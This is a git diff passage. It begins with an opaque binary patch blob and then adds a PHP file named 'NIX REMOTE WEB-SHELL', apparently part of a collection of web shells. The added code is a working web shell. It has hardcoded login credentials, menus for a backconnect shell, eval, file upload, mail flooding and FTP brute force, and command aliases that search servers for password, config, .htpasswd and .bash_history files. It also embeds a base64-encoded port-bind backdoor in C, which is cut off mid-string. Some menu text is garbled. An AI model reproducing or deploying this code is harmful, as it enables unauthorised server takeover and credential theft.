z(XH*Llxwe|$0%zvfjz8RD%TLlHQz)TM@4&eR<qw}d5pGFMgddb?8)~$A`yU>{$5ku zrh)yv-xnFE_k^`*nM4CJ#XU!{)iwFD{^m8VjlyR$d^}2vu(~c2JJh9<kzddFX{t_* zFp@MTgJLe2&f5~~?Z4Ol4(Jue$S;W_UT~Ih#GNsQhEyw0!v~7;{(}{!nXSE&H0Fa2 zqhSuDv&WPD_9cgOe{?W+A5L4cx`yx-)w-Xs$`6|*clgC;LB4QbGR#U@AK%d7-XIm2 z`oE6F?wxpQNnq-*?!SH=W!SV>?A6{*b$}0w&|An){bR|eMOq`guvHZ$;kEbtd3p<c zr)NkbHZ*EwT6-G3n;frSSV|#y(cOwOhn*aIngKM#iZPmuFfF{*S-l|Zu?tOg`%o59 zkBc2P4M_H<WR#W>%-<Jxy?a>7W(2YA-tU;VcRSgTBUr3#qp9D)ZX&|15La%bvEA~~ zg<IvCQG!!#WAa0y+e}J<fo=<t=xIGUd+=O5o^(KP<){qb#A0>l#p>hkP`_6sP%n^# z=4hKIu>C_aqb_BOc;Hsj`TVS#rPy+8`Cm%!Gb!Gn%tjB5zFY7%5r19{TTWxv>|Cq) zK^K$~t;S?xyV|X5JD88!<g3q%IYag($r+O6?y4=RiM`eVX%r7;{91<*$Eb#Puhgp> zRk70nQ+M@EpQVQVCRm@x+2OuPZY@kcbd=R*1Qn0Ek|MmZ?d<ELXX3qC@oqLw_`;c2 z?)az}b8p!NgCZNw)y7#jwIw1g)=gxuk3bzPZ`<D_)VSVo<%MT_=)RM2`R<FdHoirM zzMYg{5)#Xv-QwsS_aM#L!ZEIJTb0D5Dn^w|5^C20Chpg^M*z%xo4P$P(Xls+wh@%l zE}GxNpWT@^7KPkLEP1npL<(sjuB|C5q^0zf@{8WxVv}Fwj{TJP62kN7BemUYdd&zM z-CcB%NXRoNfV0^aJ%_y#v=NKk=lD^IEM@t5FAHTEa}O%CDI)C+)Nk<GAO+bjY+gy^ zIrWlu%w4X$*>S`5qW$+1*#oGy{idw@Njk?XdM4gny{Wcj0NgJX=91ILC5)H?Dn(?D z!HLJm2PfBdcke6jIxLOK?3STC__ABYwt3U?78^c7WR5J#r2JPea{c%{z%~%{L$Vdk zAC=M)D^vdD#@*hk{BO|k_Ndsn?p_kz%K1s0AWsG*(_Y}TTh}h-#28Q2Un?Af_#jMA z;x3p4-}=#w8<f&~4Af8FIFvtW8H~0QBacP3n5zspCLJKW!b3m&AIY))0}0m(f)qrq z|9Nd{Az;GZ;ikLf%Xn##WxDMl-(sf}1G2Bj7gcgP(-Z2GHlCQea`1BB$b$CCdL%#W zda`Yd!WC%IR7kJJc7a(v4%Vqp<jW;l`P8gF(!2!;bXltq6uPbYBQ-qEX|ai%VFEg_ zl?#!(!|KE55G?^<+VazW@(9}t0SuS#GINu9DKD&JD<-N=gBRQ#9i5*)8O4lQx6@b5 zt<_3pU2iFrXFHAb4trF_ah@mL{bJs%3qMgiD>bLaVa8sCb>n`PTZLwl%ZQgMtaHd& zwOZ?9`t=*_p3sUr9iPfj1&wc0U7SK6qo{C2p~;X}_uWQ!-`<ekO|V3?Ii_oh|Ki?o zu$JI<hGaAO@@gmg&=FR$z@4bK$CK{(G^KN(OMgeMseE|cHCTHCvWpDWr)+MmAOWFM z{0C$gZ)e-ZfEn%eJ#J@R;@Z5~wb`iq)`mkRPv<+@NQqHJWhEwCKvWoR%Do+?0$&i$ z-KL_<84)BiT=wWf592mzTf3n{m2qg4Oy7mj#Ar?l@kg6LiTSEM0dbx_tgGBx93|?v zVs|Dnk9<W~e`98g`<o(GdtlQ#Uav@}p+Tl=`Hri<4|@K1*$t4LjjKQQbvLSLlkf3O z^-Bx@Ow*Ao{w!AfDoT*_c0R~solyZ6T?P&az@Z}_c$YIH@l8GIR}V1y`8_Jaqbc9Q z5gAANvh$3(g4_spta6%l;0F(<xP+$T2~B~H^HOwgZ!UKrSfZ^(wUE4iC|PA_b|sC> z65WdP_9jx&-Kd!MK5-N0-eWF*8=J2w%>clG(OUm$tN~CZ3OG<|t#9d;aKqxOQ3S2{ z3)Q+0qiT`=(9dF9c&%2TH-Uq6Ru+}8*=#)Kfc+(OVvB2|vYbgOXVH|-vK48J?_+A$ zlf$38Z+p@i$QTQ8(`yYq6j5R8G&?pHzbEWX(N2yZG0rVcJyvR#UFI}V@ooR<Tr#6} zt5#((^13tdf;#_);s+j2pFE{FwGI>f0Q6JRkiU`mBiMP0;?OvqP)l^0wuj>rOkYP7 z`b_o2s1%g1O}G^l?P4IX>d<ZX2-T0m?>SdVA1*jB;e9R5tzdX?@|yW*6|$+FAPR|+ zdq2iQUiFW=x;_LahQ2Irc;o!e{R!KP5KHA%5@V@+54v8kQ(W5ZWlvg-{kK3irR_6~ zFN09~roKq&p5R%=>)(D5qMwd#csVK$x}5E+d@2FUOgK$nZEKr~d&XiW7wFJ!xuynr zw|^_=#&}F1BOTqJL@F2C5hTrH&9}NSH8C6Dev#e-;Vkn>hp~4BFDPkc!Ity3KafRk zV|mR}H;!7)C+*FR7jgDKQE;gnMLi(^I}RC3$|9%e+Z#w|$=gC>O7w}-8Fc+U)WV8# z#LH1I*Uia;=fu4b9aGd?+q|}lwj$}$&IP6%r@1CuW0dINpK*-h=3or%L?<>eO-P6q zJlZ#q5+N2yO(LmQ!hAixo5U(fy7`%7MXpr9d1bsOB&|+kkT6>~KslL&$nvj}PZ;?V z{_;NG;S_B5rf>;aMHo_xUQWJJrv=p%uB*!$O{8kYmEv4cISsLPS}*A`$An<s7A-ag zwr8vbQT1VQJ+cb;EtuXTF1tlF5hm|A<}Yh<9+qBm-E!nK<2C!)RP5=dII+n~e#m}^ z%p0IYxYR(^zbxvQ{h)FS0~!@T_-GG0llBX_ij@{$0i88-E(o&Sn$(s6q^X*|xaCps z3pmLxfcS~_K*D2--Bb^iYqURqqW>)I=kG{=x+2U!+zx{6x$7Ws;ap@@{^Es$&Ey9c z54U&*y~Q)=KLyA8w{J&)!Kl}9|I-wXe@I=o15pDrzp#F>jqQ3Ugy_Wlw{CV1QH!X_ z`<ndsx!XG#69^<HIU71kCsp7({Z$J+zb!Ffmis#gr10Exde7v%(vf<8*AU<RQm_vO zWUW4KjO*80K>fO=UOYM%Z4}QAi^}YBsV9DIt!L3bRk!p|Y5C>Isj*}8ouNc}yIShN zZ~I&1nvYz4G?6`Rfur9U7>&BwI;_SXkKdi<RLmm9;wI!{g1H`w%6R8TrJY-4qkugB zNYinA!Qo;j^)%9(%2==_xo?+&k6$Ts766U@i;k<Cyk$L@(TDE`xf8}TmB;CydHI>2 zS4(&QcQgIJ&*h9}3-8N;#qMeXnoEoNh>zHoH0P_G4Ph(5;yeh01Du-$(Sn;!rGa)0 zUXGCko?K&BXD27f{4IV>ql<|lQa*h8q08Hm)wIG9wtCM%6GOh!lyHl=Ir>|RrnR*! z)%@1O19qykctT=NhOC_1v7?xhMVU0hMH9l>x{XSFgOM%btSG8W5R_+~%FO4aBs$jR zFSyXS4e_Xxc$}NGJj034dXG6U=++%e4f%z7yi|O1D126?!t~$x;gY}J5H`MT9P5c1 zNzcQ@nBm7o)3~Ncyual$98KwJw0a}lCJMP}p_ODM!QC$XsH9SJd6Vd#{a=oJsdG_a zkU!@Ub)`1Np9my}(|Xv>ajkq&#7*P1n=N^HL9#8_A9#km>UyWP44LD7)|v@=3KcK1 zZOyu0&L50xMRP`eS<>F}cg^}w+VxAS{WvOZa;v_|3ss1oxPr5-B}hN&MG8tnaj?>@ zIl-N3aoG~0udlbsC1lrO_Y;gKL(glOKp9cp?-gnPqv9G6R<7moJO#`LVSI!Ss5iFm zk~Cjj_xPhuQh@+`kkNDON%gP9GuQ}AnPfk$W6S7iWW#3e!X{&kOa!du7o4MkBh`%J z(|#YSes%u>nyzb$wvRc|Ml@1jsynaJZsz%Z!OY-xU7)Xw`ypp<Ub&;ARZqS)Y?B3= zOILs&G{EDQbVq$U>Q}RNpN|S|%$3ms#hR;G3JEBqywJa&X7_oQbr1ix3r4t?f&6S5 zp_m2!sooC*9}NKh@InV>G75-7TFG@xpqXz$b8B58&_GND>e!2$YcW1=?gI$>InaWV zA2inioZXhkT;Yat;Dch$fHqbX5H8df-|hjiX?+eP(BR5Fe%|>XJB(<5-XR@P%?77i z_81a?7*-w(%=gBzN#vIKX#{2h%{(=zdPm4dr6XIxR#aCoM7k1?*<IX48SDa}etB@r z=MimP91)o6e>n-emy%!`0O+MI_JMxh10&p>g#4Tsp_uzL2ipH)4!FPDd~puaNDE8- zwC8$0%>nc;<^Y`gcROT&zf+)vC16fI9{}?&4zTMFJAg@~Kp$59Z4OhxzyHM?GCu9G z8ticjl5}H)yAqI}*}w#p7r(>*rPC7@mV)bT*It}|Ymircp3P5282(=y;qIlJxUVz& z?b(SMEE5w8zZYZWan#56VCY@pN(D%C-iHfl0o<AEBbALu{clgqhGL_#Nt{M<tfc{H z{tIi~2rW%h4El)${6gfo`5X`Uz~hFw9gUdY;YF!(edCWxmvTSQEPuxzo$4LR(!Tk> zka5_H(Tf=edO`9j32Cj88*{<^%{tmwD+fkh_fe^=WO%Q95@uw=kTuK@5qF%01wzJh zxYN0vTV$M-U@g<-CdR8g9$w&120`Yof^mmBwc-ZJPSC57YFAu^3cGC&G6?En*>T%! zxifq)o!ll20(B)9qDrKhwO%qw$nT(>OE&6p=rA0gNIQS94F8h#f&(>gX^Hd*^4Vqu zhu8EPin%X(_D$j>PK@)SO1ruRLS#O5dj_1=eC8RWDPDkO#~KKZl`+Ozd<hp%qZ9cS z&4UL9adBbq0D;(Dk*V5m4Mp3(${NvBh1-Os?pwuE&d!Y?h8d6R6onk#&Pcb4ri3R4 zn&$@wU(KCMPJ0K(3iY?3rT&tMxU3P7kC-`1cAQ|dm`P`^5ogUWoME?7qXI(%>AKhM zu1s?x?A4{~hs3*;>&91d>$a*blB&-7^zLXiS|n9<4Gk|O7cY{k;_gvx0jUa*gvDPr ziE-83FR1%XvZ@f3H)aN;rK=0aZ1=53W4y+b<QcXy6BEVE%#y4isU2*cw;vQ2$`p5p z8mB;#P)xy(&&`)Zmj)-M$|e*O0+WV$YInzfh_L^y-PZdWu&$*am1Y&8z$IVqJaYDA z{K8-)(YW-07OnQ!2qhlJAtzldF6D+akR}}k<AU|TckQqRq1<1&@|f?p*s3=|0dNFz zO^bxA0Y?A+DuzWp0^|>(O#totGSDJ0R|+!1p%mpJ?S<vOTzG%NN2S;gNRLECvD8Q) z-vkoqmos4fIm?nx-iAJG$OP^9uL+1%Iv}iKW>$jU_{C1}9dDFRTV59MIorW~bu0<w ze+QxYtug;!xt!LmabTYQ)jS``gkD~$<<80(3s{o7x-1BKwemlLs?hi-V#wOpxtC~P zf73|0Ts-eIRhpAKV5!;rqum7V7ScnQ`T@;h5f%;yxfkG(IlF}q<oQBbG~vj|?mvL( z@pI-rzo*KrMfT2HJr_&?&a4_VT8EiQI9`~`rE}~Tp$bf$_JYK25xsa*C0GBSj)Pmb zuzz^(?zD>OioY4-AK$B=NrrBY4aKjLTRp0|w2>IUsW8pz7}77FMMXqcnCJBBCf}*d z>~(9LJI|_!1dD3lm$T1(okF^SzOhDU!hsf4NB`KZ;7DMJK5kIZs2}kFO}{o}(;a+L zQXJ9hz3k{Xx=E@pm^`H%YDwivmepN>Nx+?{_jQ=*hqbvu)w^>q2+<mi-iB!jiIsIX zD_c$L{G^>p9+5vPWCpQ#er;<`=19Mpqj<U&S*J+C_}ZRq{Gp>_A7}gZss6EE6NwtT zvi<6huFLJq3;4M=eS4j=B3%ZY&X6C><!$)BPusVJu=#^Zh^Ne&+*$Jz^$g4+nn|yI zA3wpba+2-hQYOdUUGTEaFP$rLL(kv~<9-DG7Qgp72bU1mA|7SO)S@^0q^y%*<OWeq zb~PLW%v)2hxLkkxw{Bq~WtLOInNYm{%lwHf+ZF>`RqOyQxqGBnPf4*Ujq{zv;+aTa zdzG&>h}7aAW{|C3aL_3&v(T*+HTLxh=_;crSyWW+%0!x_JUc)q5|oP4-n}w!NN_>k z$TgDl$;s4JB5h4PJYBnWQ%8j+fMhf*`+SIjwx&I3qwzxy@%k}khf&uls)b!Mw-W^o zQGQ4BqS-F}KQEh6rNc-1L2(z35J9&^4-nnal&_xgHgui>Ed-BTb>DC7ZuV>R_j+P! z&R9T=6n32h{nop;Op5#;#jke%7QS>fY&jf8^saK>B{5idk<sUJp$*wij$`_V;xj8_ z#<l%q9+a{x<!7<pm)_%x_hFaqBpBCTQld3lhWWtv`q4Ep8oh5}?oq(lI}qP!C1ymT zHrC9gXc6tOT0aW9wJMHVw5az}oYq_VWe=d`SJ`7n=NaRZpjYA!S8}L2Y(*K5siN}M z&-GY#fgLTKT^BOc_0HKcpuES8nm?DXuh-mLYQJM5GJ}3f<y0EST@fcI08R^cO#n(x z5ZPYsUg)=KG5)SFfK%_8dnCwA+ehY@)0Oq>!j*lN?<tSRn$^c}Uw(*I4<%I*z7oif z!6tnq^%37SSK}*F-;S`p?cT8yyHh%>uM^-!Okx0fayL*`{EsJ2{m*w?GloTw{~9`( z---O{hI`X7-TeD3Y<Pe%83-gsBH|K1Dn0F(u>gYXi%4YB=P-d%c%?0-`Z|60qebDy zPlp$X3hz@FGp%NjX;qy5sAL^TUnqxj2eg+#ucqZ7wk}lroM^4luKIhTg_RT1E$*h# z^_ve>{}beO-M-GM1zwVQP1neRpQXW^YGHDg%|y0Ap<#XCQ%7RHJ`j?|+W~T=X;~a4 zdxTAW^Y&!tR!2^<!O6)1tfs&}0?4c6%Z=MXKb*D1MCvE5ufwP}iD*B3RKh)xEIpi& zadZ5Bk%=^rO&eqVdiID~k(qngu&3=rv@A2wHrJpW^i!djTTJSupqY{pNp-|T8!Z?2 z%u3UxD>JS)X^fI$rTF9bLKZHLKkEP@@Rb1oA8LfUCS6J;DA0Cu0dDMnIU72P^<SOD zDDiP2Z=-bY1oh&Q_n{y%pX5qanPzS>%m?mz&i2D1Xyd3UQsnRNZNVT4>!0Ci2X<#2 z7!-OQ-=NE;6N)q8f{b{*cc2Nnr<`U%R}#ybyEay_-1VXyk#-3xgPA7<>Sex(HO`iq zbwqW!{b7>9W^cL*oalC-+2p;V-MV=BRIW4f`sx`-rC*HV(#>rBg$KPmHaoPrj;zk? zNaH+>7l~HqMv5p>M0!S`mTlO1D8p-hl=nDQWhcy#nYqesBq!KYaAPg!tEW#RuynG~ zc@K%rLeLm1-htIk^dy3Q224Xk{tYLm!F*q+L=fREZl(v?srUL}))URJd57~yqD4nR z!gBoSHI$RCPre5oy(g@SG)0^*vlwsa7%@7foCHVog(c*}Dpq1tN`5XGdM-8fmZIt- zN~PD*+Ao@AM2(d+nmN4A9nd#~Gw6h5gvNIX3e%&S#E3K=aQLSfKS<Q`RO>F}zb(y1 zu^Y-gBP+6w`RKkaZ`p!>f6R*RoEC5R8q_04g;`_IvdLSJ<}0F?+uKfmA60V+s@|`W zeLgte-i;!$9PIG}$e<Jcc5H_e`ELK5Lmkt<H!xbS{`=N^qo#eYx0swLxpuCslo{<o z@6~n7xt%+eqw`Vei?cw@bWzdtkFWV5DG0*vs?cT^>lCYV7PL5&Pm%l$0#qLK2?Y6n z(e1bNpWK%J^z%OrX2zI0{Rzcc$@!=h42BN!kGB6h|Co0FQ~trNBkYDZBX$f?jDnoC zSl*Zok>LITj`Jt?0$`l~!oB>{as0D!|NF+bXK{Q<V0_`7pWSB(aG#h(_ellr^U2kZ zO2dY+?zdF>@)2zXd)JCxq6`Gx!Z>bksXmk}{0EN${LhaET&9<z@1vVSar!FFZG3-O zt!04*DQ2s3SzH?N$`E1U3Ilj5(B{FNvRm}k=NbzYYVCl$dLmocq>og3fXH6|>ZKU8 z*&WlV>?W;1?mW8V>q$9UuoQZ8i7Q_539=+`mV*$yAL?5JkOs?O&SfWWy77faus@E2 zv^{AFYxD+{iEh^%QfWzdUhl<WHo9k5FDW_9QPwz@^XxHX0Q5=V6&B5#KPq8%0L?7! z^g#jq`-5tWxztr3l@7lEx?Y<Waa=e8sG6Ko+3G^Ze-AV&P)cY0^!&>YdWolegA4Uu z#`jhaqnStV4Mm-4D@YOblzpE&W&GaVzivVt*24Kl0^Ou;5^1YovxYfa+AmJ3PM+Sn zuEWgQ{KZ56AgQmDzS~~Px$FEn2UDBQyOX`;7Nh20w`1Z7u%=u|N*2t|Ys<g*sPteA zBxHZME{re?-iU-pgJJ9kFpK&CVJWf;7SwCS-0Tm3;k4CAJnE8PC(Q^IcRB<4W+}&N zq9B!>;#3xoi^~@@9CZX5L~iB&9|{ld9(*VVtyRyteagjP*v&6NFpHMI)<-lauVFrX zCxDk>0C0Z#E$Gj1$_RXNxL{F}E`?WI%b07^>mIFmU$DRbYd*4x94<qwkY-2i^9L`# z*!Ssx8&8i0rtiIXpC$m>{#A#%2gf<vd=_rFdp>MOr@m`oX_z{8)Y`IS1+k{gz_<oj z%M*Ylnl%LJD!`>^4J<g)=9)Gs*9*o>_veGFqECNRiU!uRDmg|Dk3z5x$Tj;N9}ekm zy?kmv2HAK>dtSl=Q)Nj3=-Oj&sMqxfHHa(U;0{T0;3G#B>74CZwX&GC0GilPI7_rU z*)hAta70jhpj)@&9#m)RneKXs|Mn3ss;pNs@MB!+v}g1t6U%3KK_2qmC=aN~rDTa# z?XtBYXq_bo44o1q(Sx85*|lxhSH0HZol#ltUS!sDIykS0I>wJ*_1wJvUtH6?vNS+Z zHd{z{HxY+L=G8wclAHwz!?B|F(#FgZ$CmSP<2>GK9{U<tI_IhU8^M-SX`Vgk35(a$ zcNf2Q;r^nJN{lT4CR>hU$o<luNd_NyFE43cQ9>lCPEayhNE<dllO2BZuk6Ymn8DoM z)K#d0)Cwkju>1G~ao`L&Ba)S?4{23`^y!Z-w2QL^dW8`K>Jti@alrk8^gtj_<Mw=B zRA#1{=h#r^k%lJdo!^4Cz18pP$(_%J|Da<-`bWN$lLxXlyT$BHpazX?<t|_!;U0#= z`Va`I0wSv-;cO^s#=8}erYJ+?zXgK-<bBC&swG(UAW@8Lg&PETSteC;1}W=XG?Bj& zL08uDLR&5<wdMsFOyFK$7wO$P(=*q>!4;YVlHX>J+fkYzPFaJU+WCz@2du6Aacwqd zD*u|kqbdI+mlf?wXhfsN-^(<^-nP?<auVdb`GkedW{v;~05PWsWT`hd`vX|io6Z$` zFyxkou9zltIkGbJ1W7K7L4ebGId9P{-QHdb8(}w9cwfrx_67O@b-|sQTAsgU0}%eK z9<hw*oZ6!Ka{dA9ot_lOav7MEYl?Ao(yba|-h+_bE+0+ztsOy_4R6nO_cZ1eai6id ze6^`}X+}?WYW{MU)o3<uI1sO*Pv!K3s@H)|<W{pf)K`c3REg>a?zKx)DE}%87`_!s zdoTf625iPW6FkbO{-e@T=slVHoN+U3FKliR{Rn%36!OSdx+;T{i@wA3uaDmyYp-i- zNKWMSB#Q{Kx{B8Fy(Q@0IYODS!ykvPElwwLKU|dHkTs`)$4`%snZ^RKMo@Ly+6LUN z1-Q6tm?=X=QSL8r)#YaKkTXFFoPSHU8~P8kx@TCt|3ol>Iohk!o<B$BC4{_`n8-dV z>H42M<J+)rFrj<^456X)QqXY2U(>ZiWzF)K<Ar<0b^W_;nptpX*8rc^8d&I9U?>ol zx>8pWeGC1{c(K%2%VHj34|L508!*WXoBXY#?%AlW=Y>P#(N=t|GK|pu)gr*13)J4g zVghg;7*`Ad#2l0nqA-Y6s`o1}nPbT`Ok|+7K?N?y&lQTx)0L*@`JvbL++cww8ir3X ziwWSiIB%B$T%e-8nBOQ96j!M(e8H_DY_Q6f@3(5tyJsUlkbB5d{m~_S#z43)OQUQ; zVu1HZ(PMbMOy1@>P4EkFPMg#I{mIi2^)Uv3|G9Ib=0zlH*#IemP*TR~Lt*>6AH5jV zUgc8T&FrX;n#Dc}WsLE2P3XL8N3tqvI{ne(mVKGCjy4Nc<I#9+ap8}PWdUHoTn$Jb zV<p$`!hj+JG+76h=^bxYVE9^j&h94saZu>baf<l;zuQ2&nL&#wsGVYSGY7gVb&9PB zuonN#7lH@^Slt0)cCL}2P>btlEarewlXIWpW0~!faGN%w0WrZdBM+-)T^?3@rkioK zLitm)x`Bp_f65iJ;-ShmguT_tAL+-vS)l)}RdTSh`6T8`5b?$Wk*rfoj{EwqRkHd; zy^cyvR20^b_{&6FS%r~fGoy_@tr~Z_U3zV$-F~34IhT9CY5C~jco%!mnF9lUvgLu& zg3~VuYbwA4oW~gAI2dTOe_Q$v#Vs>}3o5Sjv18NfWfR@c>Ve+ZZd|mXCn{s&uVlLM z-WP`VpZy3PfU0Hn95bWZjuB%au+#tta4S}<qFByUk*f+8%Obtt6HoXsC@~jSVPHEK z@EIE;d=R!CYS9<lAscy+Jb-=h3GgfORnXKf&63}sp)p9TiFm2VjbeU=KIlG%`r<z- zfm#$;@7C_<(_UERrw!|Jfp1c;1aVWNI2?&2T!+LdV5RI2glhK5w*j^ju8$$#l?URM zp0D4c2NICw-1+rVN{k#lS8plM>#F+Gg<^z{sK6B*MjZh+6AOe@9xU!3t}_PqBHYlP zv5{{CE9xvTkj?2yUwn!f62OBQwl;qYmLRYUJtxfn1tV^?0QY)o{6lcV<3B1bR;>Oo z9H%+?ess0Uf^HZHv#PHGJC1Jo^LVbD<ANYa6=1qYx&|@RQVhKMqtbrm|CV{bb5V1u z5jZ`9{C22WJrV{S;1X!?9AKm$hn11*t`W#8u%Ip$%l<eRyg>XLcO~XS9J~tzA)^?? z#Olw3X}XTMKz+dJ#j1G!1%y*?KZR4jX~VwS;Ol&YJq02m)Z#b$Rr()>qaTWFN)Re5 zRJmZq5Sn`f%lhyS?C9@ivwdt@dtUZALJa?-m4JHx?}tPBvyEu~X*dT~&w~)`8X7rj zo^k<1$>0T|<ZqxqSxL;Fhm$|~XG8h(fCj4;!*E@&Bu4ySX7mi@f49;1fnKS9o7Gdb z|D9If9RB}X{omc=|0Px*^WW^x3N;nE$Zi-C5voI*HrJdc_?bSccD&P3%72__70(l` zjHSL!xMEaXo0B`e-<b9#<VCunjQA3+bH&Mvt5^`JhPw>(mD;(Kbp&cFkqJL^<j;LY zDphE7_mb!KICX!xmN4LTdhBh!53c6?(D;r`SD+|lN!&$4lMSovvmMNekx{TpytyEY p0vbiT3wO^s6h8s!!rveN{Kq2C|I@!uH~=Z7zqNHNzC$0o{s%AUP;~$R literal 0 HcmV?d00001 diff --git a/php/PHPshell/NIX REMOTE WEB-SHELL v.0.5 alpha Lite Public Version/NIX REMOTE WEB-SHELL.php b/php/PHPshell/NIX REMOTE WEB-SHELL v.0.5 alpha Lite Public Version/NIX REMOTE WEB-SHELL.php new file mode 100644 index 0000000..bcb3a17 --- /dev/null +++ b/php/PHPshell/NIX REMOTE WEB-SHELL v.0.5 alpha Lite Public Version/NIX REMOTE WEB-SHELL.php @@ -0,0 +1,1471 @@ +<?php +$name="smowu"; +$pass="smowu"; +$demail ="xakep@xaep.ru"; +if (!isset($HTTP_SERVER_VARS['PHP_AUTH_USER']) || $HTTP_SERVER_VARS['PHP_AUTH_USER']!=$name || $HTTP_SERVER_VARS['PHP_AUTH_PW']!=$pass) + { + header("WWW-Authenticate: Basic realm=\"AdminAccess\""); + header("HTTP/1.0 401 Unauthorized"); + exit("Access Denied"); + } + +$title="NIX REMOTE WEB-SHELL"; +$ver=" v.0.5a Lite"; + +?> +<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"> +<html> +<head> +<title>NIX REMOTE WEB-SHELL v.0.5 alpha Lite Public Version </title> +<meta http-equiv="Content-Type" content="text/html; charset=windows-1251"> +<meta http-equiv="pragma" content="no-cache"> +<meta http-equiv="Content-Language" content="en,ru"> +<META name="autor" content="DreAmeRz (www.dreamerz.cc)"> +<style type="text/css"> +BODY, TD, TR { +text-decoration: none; +font-family: Verdana; +font-size: 8pt; +scrollbar-face-color: #FFFFFF; +scrollbar-shadow-color:#000000 ; +scrollbar-highlight-color:#FFFFFF; +scrollbar-3dlight-color: #000000; +scrollbar-darkshadow-color:#FFFFFF ; +scrollbar-track-color: #FFFFFF; +scrollbar-arrow-color: #000000; +} +input, textarea, select { +font-family: Verdana; +font-size: 10px; +color: black; +background-color: white; +border: solid 1px; +border-color: black +} +UNKNOWN { +COLOR: black; +TEXT-DECORATION: none +} +A:link {COLOR:black; TEXT-DECORATION: none} +A:visited { COLOR:black; TEXT-DECORATION: none} +A:active {COLOR:black; TEXT-DECORATION: none} +A:hover {color:blue;TEXT-DECORATION: none} +</STYLE> +</HEAD> + + +<BODY bgcolor="#fffcf9" text="#000000"> +<P align=center>[ <A href="javascript:history.next(+1)"> ] </A><B><FONT color=#cccccc size=4>*.NIX REMOTE WEB-SHELL</FONT></B> +v.0.5a<FONT color=#linux size=1> Lite </FONT> [ <A href="javascript:history.back(-1)">?]</A>[ <A href="?ac=about" title='?? ...'>??]</a><BR> +<A href="?ac=info" title='?? ?!'>[ ? ??/A> ][ <A href="?ac=navigation" title=' . , ...'></A> ][ <A href="?ac=backconnect" title='?backconnect ? ?'>??/A> ][ <A href="?ac=eval" title=' ? ?:)'>??/A> ][ <A href="?ac=upload" title=' ? , ? !'> </A> ][ <A href="?ac=shell" title='bash shell,? ...'> +?]</A> <br><A href="?ac=sendmail" title=' ?mail '> [ </A> ][ <A href="?ac=mailfluder" title='? ? ? ? ...'></A> + ][ <A href="?ac=ftp" title='? ftp ?'>?Brut</A> ][ <A href="?ac=tools" title='??md5,des,sha1,base64 ... '>?]</A>[ <A href="?ac=ps" title=' ?? ? '></A> ][ <A href="?ac=selfremover" title=' ? ???? ...'>?</A> ]</P> +<?php +if (ini_get('register_globals') != '1') { + + if (!empty($HTTP_POST_VARS)) + extract($HTTP_POST_VARS); + + if (!empty($HTTP_GET_VARS)) + extract($HTTP_GET_VARS); + if (!empty($HTTP_SERVER_VARS)) + extract($HTTP_SERVER_VARS); +} +Error_Reporting(E_COMPILE_ERROR|E_ERROR|E_CORE_ERROR); +set_magic_quotes_runtime(0); +set_time_limit(0); // ? ?ignore_user_abort(1); // ??error_reporting(0); +$self = $_SERVER['PHP_SELF']; +$docr = $_SERVER['DOCUMENT_ROOT']; +$sern = $_SERVER['SERVER_NAME']; +if (($_POST['dir']!=="") AND ($_POST['dir'])) { chdir($_POST['dir']); } +$aliases=array( +'------------------------------------------------------------------------------------' => 'ls -la;pwd;uname -a', +'? ? ?suid ? => 'find / -type f -perm -04000 -ls', +'? ? ?sgid ? => 'find / -type f -perm -02000 -ls', +'??? ?sgid ? => 'find . -type f -perm -02000 -ls', +'? ? config' => 'find / -type f -name "config*"', +'? ? admin' => 'find / -type f -name "admin*"', +'??? config' => 'find . -type f -name "config*"', +'??? pass' => 'find . -type f -name "pass*"', +'? ? ? ? ' => 'find / -perm -2 -ls', +'??? ? ? ' => 'find . -perm -2 -ls', +'??? service.pwd' => 'find . -type f -name service.pwd', +'? ? service.pwd' => 'find / -type f -name service.pwd', +'? ? .htpasswd' => 'find / -type f -name .htpasswd', +'??? .htpasswd' => 'find . -type f -name .htpasswd', +'? .bash_history' => 'find / -type f -name .bash_history', +'??? .bash_history' => 'find . -type f -name .bash_history', +'? .fetchmailrc' => 'find / -type f -name .fetchmailrc', +'??? .fetchmailrc' => 'find . -type f -name .fetchmailrc', +'? ? ?ext2fs' => 'lsattr -va', +' ' => 'netstat -an | grep -i listen', +'? ? password' =>'find / -name *.php | xargs grep -li password', +'????777' =>'find / -type d -perm 0777', +'? ' =>'sysctl -a | grep version', +'? ? =>'cat /proc/version', +' syslog.conf' =>'cat /etc/syslog.conf', +' - Message of the day' =>'cat /etc/motd', +' hosts' =>'cat /etc/hosts', +'? 1' =>'cat /etc/issue.net', +'? 2' =>'cat /etc/*-realise', +' ?? =>'ps auxw', +' ?' =>'ps ux', +'?httpd.conf' =>'locate httpd.conf'); + + + +/* Port bind source */ +$port_bind_bd_c="I2luY2x1ZGUgPHN0ZGlvLmg+DQojaW5jbHVkZSA8c3RyaW5nLmg+DQojaW5 +jbHVkZSA8c3lzL3R5cGVzLmg+DQojaW5jbHVkZSA8c3lzL3NvY2tldC5oPg0KI2luY2x1ZGUgPG5 +ldGluZXQvaW4uaD4NCiNpbmNsdWRlIDxlcnJuby5oPg0KaW50IG1haW4oYXJnYyxhcmd2KQ0KaW5 +0IGFyZ2M7DQpjaGFyICoqYXJndjsNCnsgIA0KIGludCBzb2NrZmQsIG5ld2ZkOw0KIGNoYXIgYnV +mWzMwXTsNCiBzdHJ1Y3Qgc29ja2FkZHJfaW4gcmVtb3RlOw0KIGlmKGZvcmsoKSA9PSAwKSB7IA0 +KIHJlbW90ZS5zaW5fZmFtaWx5ID0gQUZfSU5FVDsNCiByZW1vdGUuc2luX3BvcnQgPSBodG9ucyh +hdG9pKGFyZ3ZbMV0pKTsNCiByZW1vdGUuc2luX2FkZHIuc19hZGRyID0gaHRvbmwoSU5BRERSX0F +OWSk7IA0KIHNvY2tmZCA9IHNvY2tldChBRl9JTkVULFNPQ0tfU1RSRUFNLDApOw0KIGlmKCFzb2N +rZmQpIHBlcnJvcigic29ja2V0IGVycm9yIik7DQogYmluZChzb2NrZmQsIChzdHJ1Y3Qgc29ja2F +kZHIgKikmcmVtb3RlLCAweDEwKTsNCiBsaXN0ZW4oc29ja2ZkLCA1KTsNCiB3aGlsZSgxKQ0KICB +7DQogICBuZXdmZD1hY2NlcHQoc29ja2ZkLDAsMCk7DQogICBkdXAyKG5ld2ZkLDApOw0KICAgZHV +wMihuZXdmZCwxKTsNCiAgIGR1cDIobmV3ZmQsMik7DQogICB3cml0ZShuZXdmZCwiUGFzc3dvcmQ +6IiwxMCk7DQogICByZWFkKG5ld2ZkLGJ1ZixzaXplb2YoYnVmKSk7DQogICBpZiAoIWNocGFzcyh 